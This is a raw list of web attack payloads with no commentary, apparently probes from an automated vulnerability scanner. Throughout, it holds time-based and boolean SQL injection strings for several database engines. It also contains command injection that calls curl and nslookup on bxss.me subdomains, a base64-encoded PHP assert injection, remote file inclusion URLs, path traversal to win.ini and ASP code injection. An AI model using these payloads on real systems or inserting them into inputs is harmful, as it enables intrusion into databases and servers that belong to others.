index.php/.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

http://bxss.me/t/fit.txt?.jpg

|(nslookup -q=cname hitoztxxpaljrc97e7.bxss.me||curl hitoztxxpaljrc97e7.bxss.me)

"||sleep(27*1000)*ksuuws||"

'"

pCME8iIH') OR 793=(SELECT 793 FROM PG_SLEEP(15))--

-1 OR 804=(SELECT 804 FROM PG_SLEEP(15))--

-1 waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

'"

1

1

1

1

1

1'"

1

1

1

1

1

1

-1" OR 3*2<(0+5+438-438) --

-1" OR 2+438-438-1=0+0+0+1 --

-1' OR 3*2<(0+5+348-348) or 'rdy4Jvcd'='

-1' OR 2+348-348-1=0+0+0+1 or 'rdy4Jvcd'='

-1' OR 3*2<(0+5+695-695) --

-1' OR 2+695-695-1=0+0+0+1 --

-1 OR 3*2<(0+5+345-345)

-1 OR 2+345-345-1=0+0+0+1

-1 OR 3*2<(0+5+869-869) --

-1 OR 2+869-869-1=0+0+0+1 --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"

1

1

1

1

1

1

1

'"

index.php

bxss.me/t/xss.html?%00

Http://bxss.me/t/fit.txt

&(nslookup -q=cname hitvmdoluotoebdfb4.bxss.me||curl hitvmdoluotoebdfb4.bxss.me)&'\"`0&(nslookup -q=cname hitvmdoluotoebdfb4.bxss.me||curl hitvmdoluotoebdfb4.bxss.me)&`'

'||sleep(27*1000)*ivffwb||'

&echo zeguvg$()\ xkdcfc\nz^xyu||a #' &echo zeguvg$()\ xkdcfc\nz^xyu||a #|" &echo zeguvg$()\ xkdcfc\nz^xyu||a #

echo cvbsxg$()\ zgyxeu\nz^xyu||a #' &echo cvbsxg$()\ zgyxeu\nz^xyu||a #|" &echo cvbsxg$()\ zgyxeu\nz^xyu||a #

!(()&&!|*|*|

redirtest.acx

./

${10000306+10000271}

../../../../../../../../../../../../../../windows/win.ini

+response.write(9651545*9625642)'

"+response.write(9651545*9625642)+"

response.write(9651545*9625642)

1KAddQDQ

����%2527%2522\'\"

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ba4okjAS')) OR 666=(SELECT 666 FROM PG_SLEEP(15))--

dOa3D2JE' OR 807=(SELECT 807 FROM PG_SLEEP(15))--

-1) OR 522=(SELECT 522 FROM PG_SLEEP(15))--

pFL8rVQt')); waitfor delay '0:0:15' --

nOjUpT5X'; waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

*if(now()=sysdate(),sleep(15),0)

-1" OR 3*2<(0+5+612-612) --

-1' OR 3*2>(0+5+931-931) or 'FPa9AVXE'='

-1' OR 3+931-931-1=0+0+0+1 or 'FPa9AVXE'='

-1' OR 3*2>(0+5+164-164) --

-1' OR 3+164-164-1=0+0+0+1 --

-1 OR 3*2>(0+5+878-878)

-1 OR 3+878-878-1=0+0+0+1

-1 OR 3*2>(0+5+582-582) --

-1 OR 3+582-582-1=0+0+0+1 --

fJNM4rGL

����%2527%2522\'\"

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

dTEHFMQj')) OR 940=(SELECT 940 FROM PG_SLEEP(15))--

2SiHPpEN' OR 350=(SELECT 350 FROM PG_SLEEP(15))--

-1) OR 579=(SELECT 579 FROM PG_SLEEP(15))--

VMxADIXs')); waitfor delay '0:0:15' --

FYQAKtT9'; waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

-1" OR 3*2>(0+5+245-245) --

-1" OR 3+245-245-1=0+0+0+1 --

-1' OR 3*2>(0+5+168-168) or 'lnJL0t8C'='

-1' OR 3+168-168-1=0+0+0+1 or 'lnJL0t8C'='

-1' OR 3*2>(0+5+479-479) --

-1' OR 3+479-479-1=0+0+0+1 --

-1 OR 3*2>(0+5+253-253)

-1 OR 3+253-253-1=0+0+0+1

-1 OR 3*2>(0+5+94-94) --

-1 OR 3+94-94-1=0+0+0+1 --

ftwj0hnh

����%2527%2522\'\"

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

0s6A2LdM') OR 319=(SELECT 319 FROM PG_SLEEP(15))--

-1)) OR 76=(SELECT 76 FROM PG_SLEEP(15))--

-1 OR 615=(SELECT 615 FROM PG_SLEEP(15))--

KwmiTDux'); waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

-1" OR 3*2>(0+5+372-372) --

-1" OR 2+372-372-1=0+0+0+1 --

-1' OR 3*2<(0+5+95-95) or 'MCHHsTnS'='

-1' OR 2+95-95-1=0+0+0+1 or 'MCHHsTnS'='

-1' OR 3*2<(0+5+479-479) --

-1' OR 2+479-479-1=0+0+0+1 --

-1 OR 3*2<(0+5+237-237)

-1 OR 2+237-237-1=0+0+0+1

-1 OR 3*2<(0+5+300-300) --

-1 OR 2+300-300-1=0+0+0+1 --

����%2527%2522\'\"

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nGCOej2T') OR 830=(SELECT 830 FROM PG_SLEEP(15))--

-1)) OR 502=(SELECT 502 FROM PG_SLEEP(15))--

-1 OR 992=(SELECT 992 FROM PG_SLEEP(15))--

fWC0pGmo'); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --